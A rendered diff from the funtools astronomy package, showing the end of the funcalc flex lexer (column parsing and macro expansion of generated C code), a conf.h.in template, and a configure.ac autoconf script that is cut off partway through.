||||
} else {
|
||||
yy_delete_buffer( YY_CURRENT_BUFFER );
|
||||
yy_switch_to_buffer(include_stack[include_stack_ptr] );
|
||||
}
|
||||
}
|
||||
|
||||
%%
|
||||
|
||||
/*
|
||||
*
|
||||
* Private Routines
|
||||
*
|
||||
*
|
||||
*/
|
||||
|
||||
/* setn -- set pointer to where expression is stored */
|
||||
#ifdef YY_USE_PROTOS
|
||||
static void setn(int newn)
|
||||
#else
|
||||
static void setn(newn)
|
||||
int newn;
|
||||
#endif
|
||||
{
|
||||
if( newn >=0 ){
|
||||
n = newn;
|
||||
strptr = &code[n]; lenptr = &ncode[n];
|
||||
}
|
||||
else{
|
||||
strptr = &expr; lenptr = &nexpr;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* _CalcDatatype -- return C data type as a string
|
||||
*
|
||||
*/
|
||||
#ifdef YY_USE_PROTOS
|
||||
static char *
|
||||
_CalcDatatype(int type)
|
||||
#else
|
||||
static char *_CalcDatatype(type)
|
||||
int type;
|
||||
#endif
|
||||
{
|
||||
switch ( type ) {
|
||||
case 'A': return "char";
|
||||
case 'X': return "char";
|
||||
case 'B': return "unsigned char";
|
||||
case 'I': return "short";
|
||||
case 'U': return "unsigned short";
|
||||
case 'J': return "int";
|
||||
case 'K': return "long long";
|
||||
case 'V': return "unsigned int";
|
||||
case 'L': return "char";
|
||||
case 'E': return "float";
|
||||
case 'D': return "double";
|
||||
}
|
||||
_calcerror("unknown/illegal data type for new column");
|
||||
return "???";
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* _CalcColName -- see if sname is a recognized column name
|
||||
*
|
||||
*/
|
||||
#ifdef YY_USE_PROTOS
|
||||
static int
|
||||
_CalcColName(char *sname)
|
||||
#else
|
||||
static int _CalcColName(sname)
|
||||
char *sname;
|
||||
#endif
|
||||
{
|
||||
if( !strcasecmp(sname, "prev") ){
|
||||
strcpy(sname, "prev");
|
||||
rectype |= REC_PREV;
|
||||
return REC_PREV;
|
||||
}
|
||||
if( !strcasecmp(sname, "cur") ){
|
||||
strcpy(sname, "cur");
|
||||
rectype |= REC_CUR;
|
||||
return REC_CUR;
|
||||
}
|
||||
if( !strcasecmp(sname, "next") ){
|
||||
strcpy(sname, "next");
|
||||
rectype |= REC_NEXT;
|
||||
return REC_NEXT;
|
||||
}
|
||||
else{
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* _CalcCB -- macro expansion callback
|
||||
*
|
||||
*/
|
||||
#ifdef YY_USE_PROTOS
|
||||
static char *
|
||||
_CalcCB(char *name, void *client_data)
|
||||
#else
|
||||
static char *_CalcCB(name, client_data)
|
||||
char *name;
|
||||
void *client_data;
|
||||
#endif
|
||||
{
|
||||
CalcCols cur;
|
||||
char tbuf[SZ_LINE];
|
||||
char tbuf2[SZ_LINE*2];
|
||||
char tbuf3[SZ_LINE];
|
||||
int i, got, ip;
|
||||
|
||||
/* start at beginning of macro buffer */
|
||||
/* allocate the macro buffer */
|
||||
if( mbuf ) xfree(mbuf);
|
||||
mbuf = NULL;
|
||||
mlen = SZ_LINE;
|
||||
|
||||
if( !strcmp(name, "MEMBERS") ){
|
||||
if( !columns ){
|
||||
_CalcCat("int dummy;\n", &mbuf, &mlen);
|
||||
return mbuf;
|
||||
}
|
||||
for(cur=columns; cur!=NULL; cur=cur->next){
|
||||
snprintf(tbuf, SZ_LINE, "%s %s", _CalcDatatype(cur->type), cur->cname);
|
||||
_CalcCat(tbuf, &mbuf, &mlen);
|
||||
if( cur->n > 1 ){
|
||||
/* if there is no tdim, just make it a simple array */
|
||||
/* (also, do the simple thing for bit-fields) */
|
||||
if( (cur->tdim == NULL) || (cur->type == 'X') ){
|
||||
switch(cur->type){
|
||||
case 'X':
|
||||
i = (cur->n+7)/8;
|
||||
break;
|
||||
default:
|
||||
i = cur->n;
|
||||
break;
|
||||
}
|
||||
snprintf(tbuf, SZ_LINE, "[%d]", i);
|
||||
}
|
||||
/* tdim exists, so use it to declare a multidimensional array */
|
||||
else{
|
||||
newdtable(",()");
|
||||
/* I hear tdim is in Fortran order, so reverse it for C order */
|
||||
for(*tbuf = '\0', ip=0, got=0; word(cur->tdim, tbuf3, &ip); got++){
|
||||
snprintf(tbuf2, SZ_LINE, "[%s]", tbuf3);
|
||||
if( *tbuf )
|
||||
strcat(tbuf2, tbuf);
|
||||
strcpy(tbuf, tbuf2);
|
||||
}
|
||||
freedtable();
|
||||
/* but if we got nothing out of it, go back to simplicity */
|
||||
if( !got )
|
||||
snprintf(tbuf, SZ_LINE, "[%d]", cur->n);
|
||||
}
|
||||
_CalcCat(tbuf, &mbuf, &mlen);
|
||||
}
|
||||
_CalcCat(";", &mbuf, &mlen);
|
||||
if( cur->next )
|
||||
_CalcCat("\n", &mbuf, &mlen);
|
||||
}
|
||||
return mbuf;
|
||||
}
|
||||
else if( !strcmp(name, "SELECT") ){
|
||||
if( !columns ){
|
||||
return "";
|
||||
}
|
||||
for(cur=columns; cur!=NULL; cur=cur->next){
|
||||
*tbuf2 = '\0';
|
||||
if( (cur->tlmin != 0.0) || (cur->tlmax != 0.0) ){
|
||||
snprintf(tbuf2, SZ_LINE, "%f:%f", cur->tlmin, cur->tlmax);
|
||||
if( cur->binsiz != 1.0 ){
|
||||
snprintf(tbuf3, SZ_LINE, ":%f", cur->binsiz);
|
||||
strncat(tbuf2, tbuf3, SZ_LINE);
|
||||
}
|
||||
if( (cur->tscale != 1.0) || (cur->tzero != 0.0) ){
|
||||
snprintf(tbuf3, SZ_LINE, ";%f", cur->tscale);
|
||||
strncat(tbuf2, tbuf3, SZ_LINE);
|
||||
snprintf(tbuf3, SZ_LINE, ":%f", cur->tzero);
|
||||
strncat(tbuf2, tbuf3, SZ_LINE);
|
||||
}
|
||||
}
|
||||
if( *tbuf2 ){
|
||||
snprintf(tbuf, SZ_LINE, "\"%s\", \"%d%c:%s\", ",
|
||||
cur->cname, cur->n, cur->type, tbuf2);
|
||||
}
|
||||
else{
|
||||
snprintf(tbuf, SZ_LINE, "\"%s\", \"%d%c\", ",
|
||||
cur->cname, cur->n, cur->type);
|
||||
}
|
||||
_CalcCat(tbuf, &mbuf, &mlen);
|
||||
if( cur->exists )
|
||||
_CalcCat("\"rw\", ", &mbuf, &mlen);
|
||||
else
|
||||
_CalcCat("\"w\", ", &mbuf, &mlen);
|
||||
snprintf(tbuf, SZ_LINE, "FUN_OFFSET(Row, %s),", cur->cname);
|
||||
_CalcCat(tbuf, &mbuf, &mlen);
|
||||
if( cur->next )
|
||||
_CalcCat("\n", &mbuf, &mlen);
|
||||
}
|
||||
return mbuf;
|
||||
}
|
||||
else if( !strcmp(name, "RECTYPE") ){
|
||||
snprintf(tbuf, SZ_LINE, "%d", rectype);
|
||||
_CalcCat(tbuf, &mbuf, &mlen);
|
||||
return mbuf;
|
||||
}
|
||||
else if( !strcmp(name, "EXPR") ){
|
||||
if( expr && *expr )
|
||||
return(expr);
|
||||
else
|
||||
return "";
|
||||
}
|
||||
else if( !strcmp(name, "COMMAND") ){
|
||||
if( command && *command )
|
||||
return(command);
|
||||
else
|
||||
return "<build command not available>";
|
||||
}
|
||||
else if( !strcmp(name, "ARGS") ){
|
||||
if( args == 1 )
|
||||
return "1";
|
||||
else
|
||||
return "2";
|
||||
}
|
||||
else if( !strcmp(name, "AUTO") ){
|
||||
if( autodeclare && *autodeclare )
|
||||
return autodeclare;
|
||||
else
|
||||
return "";
|
||||
}
|
||||
else if( !strcmp(name, "GLOBAL") ){
|
||||
if( code[0] && *code[0] )
|
||||
return(code[0]);
|
||||
else
|
||||
return "";
|
||||
}
|
||||
else if( !strcmp(name, "LOCAL") ){
|
||||
if( code[1] && *code[1] )
|
||||
return(code[1]);
|
||||
else
|
||||
return "";
|
||||
}
|
||||
else if( !strcmp(name, "BEFORE") ){
|
||||
if( code[2] && *code[2] )
|
||||
return(code[2]);
|
||||
else
|
||||
return "";
|
||||
}
|
||||
else if( !strcmp(name, "AFTER") ){
|
||||
if( code[3] && *code[3] )
|
||||
return(code[3]);
|
||||
else
|
||||
return "";
|
||||
}
|
||||
else if( !strcmp(name, "MERGE") ){
|
||||
if( doreplace )
|
||||
strncpy(tbuf, "replace", SZ_LINE);
|
||||
else
|
||||
strncpy(tbuf, "update", SZ_LINE);
|
||||
_CalcCat(tbuf, &mbuf, &mlen);
|
||||
return mbuf;
|
||||
}
|
||||
else{
|
||||
_CalcCat("$", &mbuf, &mlen);
|
||||
_CalcCat(name, &mbuf, &mlen);
|
||||
return mbuf;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* _CalcMake -- create the string containing the program by macro expansion
|
||||
*
|
||||
*/
|
||||
#ifdef YY_USE_PROTOS
|
||||
static char *
|
||||
_CalcMake(void)
|
||||
#else
|
||||
static char *_CalcMake()
|
||||
#endif
|
||||
{
|
||||
char *s;
|
||||
|
||||
/* make sure we have something */
|
||||
if( !expr || !*expr )
|
||||
expr = xstrdup(";");
|
||||
s = xstrdup(expr);
|
||||
nowhite(s, expr);
|
||||
if( s ) xfree(s);
|
||||
/* add final ';' is necessary (but not if there is any compund statement) */
|
||||
if( !strchr(expr,';') && !strchr(expr,'{') )
|
||||
_CalcCat(";", &expr, &nexpr);
|
||||
/* expand program body to add specifics of the expression */
|
||||
s = ExpandMacro(TABCALC_C, NULL, NULL, 0, _CalcCB, NULL);
|
||||
return s;
|
||||
}
|
||||
|
||||
/* look up a column entry, add if not present */
|
||||
#ifdef YY_USE_PROTOS
|
||||
CalcCols
|
||||
_CalcColLookup(char *cname)
|
||||
#else
|
||||
CalcCols
|
||||
_CalcColLookup(cname)
|
||||
char *cname;
|
||||
#endif
|
||||
{
|
||||
CalcCols cur;
|
||||
for(cur=columns; cur!=NULL; cur=cur->next){
|
||||
if( !strcasecmp(cname, cur->cname) )
|
||||
return cur;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* look up a symbol table entry, add if not present */
|
||||
#ifdef YY_USE_PROTOS
|
||||
CalcCols
|
||||
_CalcColNew(Fun fun, char *name, char *sname, char *cname, int type, int n,
|
||||
double tlmin, double tlmax, double binsiz,
|
||||
double tscale, double tzero, int scaled,
|
||||
int exists, int settype)
|
||||
#else
|
||||
CalcCols
|
||||
_CalcColNew(fun, name, sname,
|
||||
cname, type, n, tlmin, tlmax, binsiz,
|
||||
tscale, tzero, scaled,
|
||||
exists, settype)
|
||||
Fun fun;
|
||||
char *name, *sname, *cname;
|
||||
int type, n;
|
||||
double tlmin, tlmax, binsiz;
|
||||
double tscale, tzero;
|
||||
int scaled, exists, settype;
|
||||
#endif
|
||||
{
|
||||
CalcCols sym, cur;
|
||||
int got;
|
||||
int enter=1;
|
||||
|
||||
if( (sym=_CalcColLookup(cname)) ){
|
||||
if( !settype ) return sym;
|
||||
enter=0;
|
||||
}
|
||||
else{
|
||||
/* allocate a new symbol record */
|
||||
if( !(sym = (CalcCols)xcalloc(1, sizeof(CalcColRec))) )
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* fill in the blanks */
|
||||
if( sym->name ) xfree(sym->name);
|
||||
sym->name = xstrdup(name);
|
||||
if( sym->sname ) xfree(sym->sname);
|
||||
sym->sname = xstrdup(sname);
|
||||
if( sym->cname ) xfree(sym->cname);
|
||||
sym->cname = xstrdup(cname);
|
||||
sym->type = type;
|
||||
sym->n = n;
|
||||
sym->tlmin = tlmin;
|
||||
sym->tlmax = tlmax;
|
||||
sym->binsiz = binsiz;
|
||||
sym->tscale = tscale;
|
||||
sym->tzero = tzero;
|
||||
sym->scaled = scaled;
|
||||
sym->exists = exists;
|
||||
sym->settype = settype;
|
||||
|
||||
/* get tdim value, if there is one */
|
||||
if( sym->exists && (sym->n>1) )
|
||||
sym->tdim = FunParamGets(fun, "TDIM", exists, NULL, &got);
|
||||
|
||||
/* add to list, maintaining order */
|
||||
if( enter ){
|
||||
if( !columns ){
|
||||
columns = sym;
|
||||
}
|
||||
else{
|
||||
for(cur=columns; cur->next!=NULL; cur=cur->next)
|
||||
;
|
||||
cur->next = sym;
|
||||
}
|
||||
}
|
||||
return sym;
|
||||
}
|
||||
|
||||
/* process a column */
|
||||
#ifdef YY_USE_PROTOS
|
||||
static int
|
||||
_CalcColProc(char *s, int expl)
|
||||
#else
|
||||
static int _CalcColProc(s, expl)
|
||||
char *s;
|
||||
int expl;
|
||||
#endif
|
||||
{
|
||||
char *e;
|
||||
char *t;
|
||||
char name[SZ_LINE];
|
||||
char sname[SZ_LINE];
|
||||
char cname[SZ_LINE];
|
||||
char aname[SZ_LINE];
|
||||
char fname[SZ_LINE];
|
||||
int ptype;
|
||||
int poff;
|
||||
int exists;
|
||||
int dims;
|
||||
int settype=0;
|
||||
int type=0;
|
||||
int n=0;
|
||||
int scaled=0;
|
||||
double tlmin=0.0, tlmax=0.0, binsiz=1.0;
|
||||
double tscale=1.0, tzero=0.0;
|
||||
|
||||
/* save expression */
|
||||
e = s;
|
||||
|
||||
/* gather struct name */
|
||||
for(t=sname; *s && (*s != '-');)
|
||||
*t++ = *s++;
|
||||
*t = '\0';
|
||||
/* skip past "->" */
|
||||
if( *s && (*s == '-') ) s += 2;
|
||||
|
||||
/* if this is not a special name, just append it and exit */
|
||||
if( !_CalcColName(sname) ){
|
||||
if( !expl ){
|
||||
_CalcCat(e, &expr, &nexpr);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* gather column name */
|
||||
for(t=cname; *s && (*s != '[') && (*s != ':');)
|
||||
*t++ = *s++;
|
||||
*t = '\0';
|
||||
|
||||
/* explicit columns don't have the prefix */
|
||||
if( expl && *sname && !*cname ){
|
||||
strncpy(cname, sname, SZ_LINE);
|
||||
strncpy(sname, "cur", SZ_LINE);
|
||||
}
|
||||
|
||||
/* gather array part */
|
||||
if( *s && (*s == '[') ){
|
||||
for(t=aname; *s && (*s != ':');)
|
||||
*t++ = *s++;
|
||||
*t = '\0';
|
||||
}
|
||||
else
|
||||
*aname = '\0';
|
||||
if( *aname )
|
||||
snprintf(fname, SZ_LINE, "%s->%s%s", sname, cname, aname);
|
||||
else
|
||||
snprintf(fname, SZ_LINE, "%s->%s", sname, cname);
|
||||
|
||||
/* the expression name is the combination of sname (which we will set to
|
||||
a struct we know about) and cname (which is a struct member name) */
|
||||
snprintf(name, SZ_LINE, "%s->%s", sname, cname);
|
||||
|
||||
/* see if this column exists or if its new */
|
||||
exists = FunColumnLookup(ifun, cname, 0, NULL, &type, NULL, NULL, &n, NULL);
|
||||
|
||||
/* gather up specifier info */
|
||||
for(; *s; s++){
|
||||
if( *s == ':' ){
|
||||
_FunColumnType(s+1, &type, &n, &tlmin, &tlmax, &binsiz, &dims,
|
||||
&tscale, &tzero, &scaled, &ptype, &poff);
|
||||
settype = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if( !exists && !settype && !_CalcColLookup(cname) )
|
||||
_calcerror("new column requires a type");
|
||||
if( exists && settype )
|
||||
doreplace=1;
|
||||
|
||||
/* add this column to the list */
|
||||
if(_CalcColNew(ifun, name, sname, cname,
|
||||
type, n, tlmin, tlmax, binsiz,
|
||||
tscale, tzero, scaled,
|
||||
exists, settype)){
|
||||
if( !expl ) _CalcCat(fname, &expr, &nexpr);
|
||||
return 1;
|
||||
}
|
||||
else{
|
||||
return _calcerror("could not enter new funcalc column");
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
*
|
||||
* Semi-public Routines
|
||||
*
|
||||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
*
|
||||
* _CalcCat -- add a string to the filter string buffer
|
||||
*
|
||||
*/
|
||||
#ifdef YY_USE_PROTOS
|
||||
void
|
||||
_CalcCat(char *str, char **ostr, int *olen)
|
||||
#else
|
||||
void _CalcCat(str, ostr, olen)
|
||||
char *str;
|
||||
char **ostr;
|
||||
int *olen;
|
||||
#endif
|
||||
{
|
||||
int blen;
|
||||
int slen;
|
||||
|
||||
if( (str == NULL) || (*str == '\0') )
|
||||
return;
|
||||
else
|
||||
slen = strlen(str) + 1;
|
||||
|
||||
if( (*ostr == NULL) || (**ostr == '\0') )
|
||||
blen = 0;
|
||||
else
|
||||
blen = strlen(*ostr);
|
||||
|
||||
while( (blen + slen) >= *olen ){
|
||||
*olen += SEGINC;
|
||||
}
|
||||
if( blen == 0 )
|
||||
*ostr = (char *)xcalloc(*olen, sizeof(char));
|
||||
else
|
||||
*ostr = (char *)xrealloc(*ostr, *olen);
|
||||
strcat(*ostr, str);
|
||||
}
|
||||
|
||||
#ifdef YY_USE_PROTOS
|
||||
char *
|
||||
FunCalcParse(char *iname, char *oname,
|
||||
char *cmd, char *ex, char *autod, int narg)
|
||||
#else
|
||||
char *FunCalcParse(iname, oname, cmd, ex, autod, narg)
|
||||
char *iname;
|
||||
char *oname;
|
||||
char *cmd;
|
||||
char *ex;
|
||||
char *autod;
|
||||
int narg;
|
||||
#endif
|
||||
{
|
||||
int i;
|
||||
|
||||
/* initialize global variables */
|
||||
n = 0;
|
||||
rectype = REC_CUR;
|
||||
var = 1;
|
||||
args = narg;
|
||||
|
||||
/* save command */
|
||||
if( command ) xfree(command);
|
||||
command = xstrdup(cmd);
|
||||
|
||||
/* save autodeclare */
|
||||
if( autodeclare ) xfree(autodeclare);
|
||||
autodeclare = xstrdup(autod);
|
||||
|
||||
/* open the input FITS file */
|
||||
if( !(ifun = FunOpen(iname, "rc", NULL)) )
|
||||
gerror(stderr, "can't FunOpen input file (or find extension): %s\n",
|
||||
iname);
|
||||
|
||||
/* parse expression */
|
||||
yy_scan_string(ex);
|
||||
yylex();
|
||||
|
||||
/* done with input FITS file */
|
||||
FunClose(ifun);
|
||||
/* free up space */
|
||||
if( expr ){
|
||||
xfree(expr);
|
||||
expr = NULL;
|
||||
}
|
||||
nexpr = 0;
|
||||
for(i=0; i<MAXCODE; i++){
|
||||
if( code[i] ){
|
||||
xfree(code[i]);
|
||||
code[i] = NULL;
|
||||
}
|
||||
ncode[i] = 0;
|
||||
}
|
||||
if( mbuf ){
|
||||
xfree(mbuf);
|
||||
mbuf = NULL;
|
||||
mlen = 0;
|
||||
}
|
||||
/* return resulting program */
|
||||
return prog;
|
||||
}
|
||||
|
||||
#ifdef YY_USE_PROTOS
|
||||
int
|
||||
_calcerror(char *msg)
|
||||
#else
|
||||
int _calcerror(msg)
|
||||
char *msg;
|
||||
#endif
|
||||
{
|
||||
if( *yytext )
|
||||
gerror(stderr, "%s while processing '%s'\n",
|
||||
msg ? msg : "filterr", yytext);
|
||||
else
|
||||
gerror(stderr, "%s\n", msg ? msg : "filterr");
|
||||
YY_FLUSH_BUFFER;
|
||||
yyterminate();
|
||||
}
|
||||
|
||||
#ifdef YY_USE_PROTOS
|
||||
int yywrap(void)
|
||||
#else
|
||||
int yywrap()
|
||||
#endif
|
||||
{
|
||||
return 1;
|
||||
}
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,63 @@
|
|||
/* Define as 1 if this compiler supports long long. */
|
||||
#undef HAVE_LONG_LONG
|
||||
|
||||
/* Define as 1 if you have string.h */
|
||||
#undef HAVE_STRING_H
|
||||
|
||||
/* Define as 1 if you have stdlib.h */
|
||||
#undef HAVE_STDLIB_H
|
||||
|
||||
/* Define as 1 if you have malloc.h */
|
||||
#undef HAVE_MALLOC_H
|
||||
|
||||
/* Define as 1 if you have limits.h */
|
||||
#undef HAVE_LIMITS_H
|
||||
|
||||
/* Define as 1 if you have unistd.h */
|
||||
#undef HAVE_UNISTD_H
|
||||
|
||||
/* Define as 1 if you have getopt.h */
|
||||
#undef HAVE_GETOPT_H
|
||||
|
||||
/* Define as 1 if you have values.h */
|
||||
#undef HAVE_VALUES_H
|
||||
|
||||
/* Define as 1 if you have dlfcn.h */
|
||||
#undef HAVE_DLFCN_H
|
||||
|
||||
/* Define as 1 if you have sys/un.h */
|
||||
#undef HAVE_SYS_UN_H
|
||||
|
||||
/* Define as 1 if you have sys/shm.h */
|
||||
#undef HAVE_SYS_SHM_H
|
||||
|
||||
/* Define as 1 if you have sys/mman.h */
|
||||
#undef HAVE_SYS_MMAN_H
|
||||
|
||||
/* Define as 1 if you have sys/ipc.h */
|
||||
#undef HAVE_SYS_IPC_H
|
||||
|
||||
/* Define as 1 if you have socklen_t */
|
||||
#undef HAVE_SOCKLEN_T
|
||||
|
||||
/* Define as 1 if you have strchr */
|
||||
#undef HAVE_STRCHR
|
||||
|
||||
/* Define as 1 if you have memcpy */
|
||||
#undef HAVE_MEMCPY
|
||||
|
||||
/* Define as 1 if you have snprintf */
|
||||
#undef HAVE_SNPRINTF
|
||||
|
||||
/* Define as 1 if you have Tcl */
|
||||
#undef HAVE_TCL
|
||||
|
||||
/* Define as 1 if you have Xt */
|
||||
#undef HAVE_XT
|
||||
|
||||
/* Define as 1 if you are running Cygwin. */
|
||||
#undef HAVE_CYGWIN
|
||||
|
||||
/* Define as 1 if you are running MinGW. */
|
||||
#undef HAVE_MINGW32
|
||||
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,286 @@
|
|||
# This file is an input file used by the GNU "autoconf" program to
|
||||
# generate the file "configure", which is run during XPA installation
|
||||
# to configure the system for the local environment.
|
||||
AC_INIT(funtools, 1.4.7, saord@cfa.harvard.edu, funtools)
|
||||
|
||||
AC_CONFIG_HEADERS([conf.h ./gnu/conf.h ./funtest/conf.h])
|
||||
AC_CONFIG_SRCDIR([./funtools.h])
|
||||
AC_CANONICAL_HOST
|
||||
|
||||
#
|
||||
# checks that we use in most projects
|
||||
#
|
||||
AC_PROG_CC
|
||||
|
||||
AC_EXEEXT
|
||||
if test x"${EXEEXT}" = "xno"; then
|
||||
EXEEXT=""
|
||||
fi
|
||||
|
||||
AC_C_LONG_LONG
|
||||
|
||||
AC_PROG_RANLIB
|
||||
|
||||
AC_HEADER_STDC
|
||||
AC_CHECK_HEADERS(malloc.h)
|
||||
AC_CHECK_HEADERS(getopt.h)
|
||||
AC_CHECK_HEADERS(values.h)
|
||||
AC_CHECK_HEADERS(dlfcn.h)
|
||||
AC_CHECK_HEADERS(sys/un.h)
|
||||
AC_CHECK_HEADERS(sys/ipc.h)
|
||||
AC_CHECK_HEADERS(sys/mman.h)
|
||||
case $host_os in
|
||||
*cygwin*|*Cygwin* )
|
||||
;;
|
||||
* )
|
||||
AC_CHECK_HEADERS(sys/shm.h)
|
||||
;;
|
||||
esac
|
||||
|
||||
AC_CHECK_TYPES([socklen_t], [], [], [#include <sys/socket.h>])
|
||||
|
||||
AC_C_CONST
|
||||
|
||||
AC_CHECK_FUNCS(strchr memcpy snprintf)
|
||||
|
||||
AC_CHECK_FUNC(connect)
|
||||
if test $ac_cv_func_connect = no; then
|
||||
AC_CHECK_LIB(socket, connect, EXTRA_LIBS="$EXTRA_LIBS -lsocket")
|
||||
fi
|
||||
AC_CHECK_FUNC(gethostbyname)
|
||||
if test $ac_cv_func_gethostbyname = no; then
|
||||
AC_CHECK_LIB(nsl, gethostbyname, EXTRA_LIBS="$EXTRA_LIBS -lnsl")
|
||||
fi
|
||||
# AC_CHECK_LIB(db, snprintf, EXTRA_LIBS="$EXTRA_LIBS -ldb")
|
||||
|
||||
#
|
||||
# checks specific to this project
|
||||
#
|
||||
|
||||
AC_MSG_CHECKING(for filter cc)
|
||||
AC_ARG_WITH(filter-cc, [ --with-filter-cc=CC compiler],
|
||||
FILTER_CC=\\\"$withval\\\", FILTER_CC=NULL)
|
||||
AC_MSG_RESULT($FILTER_CC)
|
||||
AC_SUBST(FILTER_CC)
|
||||
|
||||
AC_MSG_CHECKING(for filter cflags)
|
||||
AC_ARG_WITH(filter-cflags, [ --with-filter-cflags=CFLAGS compiler flags],
|
||||
FILTER_CFLAGS=\\\"$withval\\\", FILTER_CFLAGS=NULL)
|
||||
AC_MSG_RESULT($FILTER_CFLAGS)
|
||||
AC_SUBST(FILTER_CFLAGS)
|
||||
|
||||
DEFLIB="libfuntools.a"
|
||||
AC_MSG_CHECKING(for alternate target library)
|
||||
AC_ARG_WITH(altlib, [ --with-altlib=LIB library name],
|
||||
alt_lib=yes LIB=$withval, alt_lib=no LIB=$DEFLIB)
|
||||
AC_MSG_RESULT($alt_lib ($LIB))
|
||||
AC_SUBST(LIB)
|
||||
AC_SUBST(DEFLIB)
|
||||
|
||||
AC_MSG_CHECKING(for external zlib)
|
||||
AC_ARG_WITH(zlib, [ --with-zlib=LIB library name],
|
||||
zlib=yes EXTRA_LIBS="$EXTRA_LIBS $withval", zlib=no)
|
||||
AC_MSG_RESULT($zlib)
|
||||
|
||||
AC_MSG_CHECKING(for external wcslib)
|
||||
AC_ARG_WITH(wcslib, [ --with-wcslib=LIB library name],
|
||||
wcslib=yes EXTRA_LIBS="$EXTRA_LIBS $withval", wcslib=no)
|
||||
AC_MSG_RESULT($wcslib)
|
||||
|
||||
AC_MSG_CHECKING(for shared library build)
|
||||
AC_ARG_ENABLE(shared, [ --enable-shared build shared libraries],
|
||||
[fun_ok=$enableval], [fun_ok=no])
|
||||
if test "$fun_ok" != "no"; then
|
||||
fpic="yes"
|
||||
DOSHARED=shlib
|
||||
AC_SUBST(DOSHARED)
|
||||
if test "$fun_ok" = "link"; then
|
||||
AC_CHECK_LIB(dl, dlopen, have_dl=yes, have_dl=no)
|
||||
if test "$have_dl" = yes; then
|
||||
using_shlib="yes"
|
||||
fpic="yes"
|
||||
EXTRA_LIBS="$EXTRA_LIBS -ldl"
|
||||
if test `$CC -v -rdynamic 2>&1 | grep -c unrecognized` = "0" ; then
|
||||
LDFLAGS="$LDFLAGS -rdynamic"
|
||||
fi
|
||||
else
|
||||
AC_CHECK_LIB(c, dlopen, have_dl=yes, have_dl=no)
|
||||
if test "$have_dl" = yes; then
|
||||
using_shlib="yes"
|
||||
fpic="yes"
|
||||
if test `$CC -v -rdynamic 2>&1 | grep -c unrecognized` = "0" ; then
|
||||
LDFLAGS="$LDFLAGS -rdynamic"
|
||||
fi
|
||||
else
|
||||
using_shlib="no"
|
||||
fi
|
||||
fi
|
||||
LLIB="-L. -l$PACKAGE_NAME"
|
||||
else
|
||||
LLIB='$(LIB)'
|
||||
fi
|
||||
else
|
||||
LLIB='$(LIB)'
|
||||
fi
|
||||
AC_SUBST(LLIB)
|
||||
AC_MSG_RESULT($fun_ok)
|
||||
|
||||
AC_MSG_CHECKING([for dynamic loading of filters ])
|
||||
AC_ARG_ENABLE(dl, [ --enable-dl allow use of dynamic loading if available],
|
||||
[fun_ok=$enableval], [fun_ok=no])
|
||||
if test "$fun_ok" = "yes"; then
|
||||
if test "$CC" = "gcc" -o `$CC -v 2>&1 | grep -c gcc` != "0" ; then
|
||||
using_dl="yes"
|
||||
if test x"$using_shlib" != xyes; then
|
||||
AC_CHECK_LIB(dl, dlopen, have_dl=yes, have_dl=no)
|
||||
if test "$have_dl" = yes; then
|
||||
USE_DL="-DUSE_DL=1"
|
||||
fpic="yes"
|
||||
EXTRA_LIBS="$EXTRA_LIBS -ldl"
|
||||
if test `$CC -v -rdynamic 2>&1 | grep -c unrecognized` = "0" ; then
|
||||
LDFLAGS="$LDFLAGS -rdynamic"
|
||||
fi
|
||||
else
|
||||
AC_CHECK_LIB(c, dlopen, have_dl=yes, have_dl=no)
|
||||
if test "$have_dl" = yes; then
|
||||
USE_DL="-DUSE_DL=1"
|
||||
fpic="yes"
|
||||
if test `$CC -v -rdynamic 2>&1 | grep -c unrecognized` = "0" ; then
|
||||
LDFLAGS="$LDFLAGS -rdynamic"
|
||||
fi
|
||||
else
|
||||
using_dl="no"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
else
|
||||
using_dl="no"
|
||||
fi
|
||||
else
|
||||
using_dl="no"
|
||||
fi
|
||||
AC_MSG_RESULT([$using_dl ($CC)])
|
||||
AC_SUBST(USE_DL)
|
||||
|
||||
AC_ARG_ENABLE(fpu_double, [ --enable-fpu_double set FPU in double round mode],
|
||||
[fun_ok=$enableval], [fun_ok=no])
|
||||
if test "$fun_ok" = "yes"; then
|
||||
AC_MSG_CHECKING([for setting fpu in double rounding mode (with gcc) ])
|
||||
if test "$CC" = "gcc" -o `$CC -v 2>&1 | grep -c gcc` != "0" ; then
|
||||
using_fpu_double="yes"
|
||||
USE_FPU_DOUBLE="1"
|
||||
else
|
||||
using_fpu_double="no"
|
||||
USE_FPU_DOUBLE="0"
|
||||
fi
|
||||
AC_MSG_RESULT([$using_fpu_double])
|
||||
else
|
||||
USE_FPU_DOUBLE="0"
|
||||
fi
|
||||
AC_SUBST(USE_FPU_DOUBLE)
|
||||
|
||||
AC_MSG_CHECKING(for mainlib build)
|
||||
DOMAINLIB=""
|
||||
AC_ARG_ENABLE(mainlib, [ --enable-mainlib build funtools mainlib support],
|
||||
[fun_ok=$enableval], [fun_ok=no])
|
||||
if test "$fun_ok" = "yes"; then
|
||||
DOMAINLIB=mainlib
|
||||
elif test "$fun_ok" = "shared"; then
|
||||
DOMAINLIB=shmainlib
|
||||
fi
|
||||
AC_SUBST(DOMAINLIB)
|
||||
AC_MSG_RESULT($fun_ok)
|
||||
|
||||
SC_PATH_TCLCONFIG
|
||||
if test x"${no_tcl}" = x ; then
|
||||
AC_DEFINE([HAVE_TCL], [1], [Define if tcl is used.])
|
||||
fi
|
||||
|
||||
AC_PROG_AWK
|
||||
|
||||
AC_CHECK_PROG(gzip, gzip, gzip, none)
|
||||
if test "$gzip" = "none"; then
|
||||
GUNZIP="cat"
|
||||
else
|
||||
GUNZIP="$gzip -dcf"
|
||||
fi
|
||||
|
||||
AC_CHECK_PROG(gnuplot, gnuplot, gnuplot, none)
|
||||
if test "$gnuplot" = "none"; then
|
||||
